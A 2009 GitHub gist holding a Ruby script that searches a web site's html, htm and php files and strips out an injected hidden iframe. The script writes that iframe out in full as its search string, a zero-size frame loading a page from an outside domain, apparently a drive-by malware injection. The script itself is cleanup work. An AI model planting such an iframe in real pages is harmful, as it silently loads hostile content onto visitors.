Created
September 20, 2009 19:39
-
-
Save heavysixer/189896 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Put this file in the root of the filesystem where you want to start looking for the string. | |
def remove_haxor_code(files) | |
files.each do |f1| | |
File.open(f1, 'r+') do |file| | |
lines = file.readlines | |
lines.each do |n| | |
n.gsub!("<iframe src=\"http:\/\/reycross.com\/lib\/index.php\" width=0 height=0 style=\"hidden\" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>", "") | |
end | |
file.pos = 0 | |
file.print lines | |
file.truncate(file.pos) | |
end | |
end | |
end | |
def all_files(dir) | |
files = [] | |
Dir.glob(dir).entries.collect do |x| | |
if File.directory?(x) | |
files += all_files("#{x}/*") | |
else | |
files << x if %w(html htm php).include?(x.split('.').last) | |
end | |
end | |
files | |
end | |
remove_haxor_code(all_files(File.dirname(__FILE__))) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment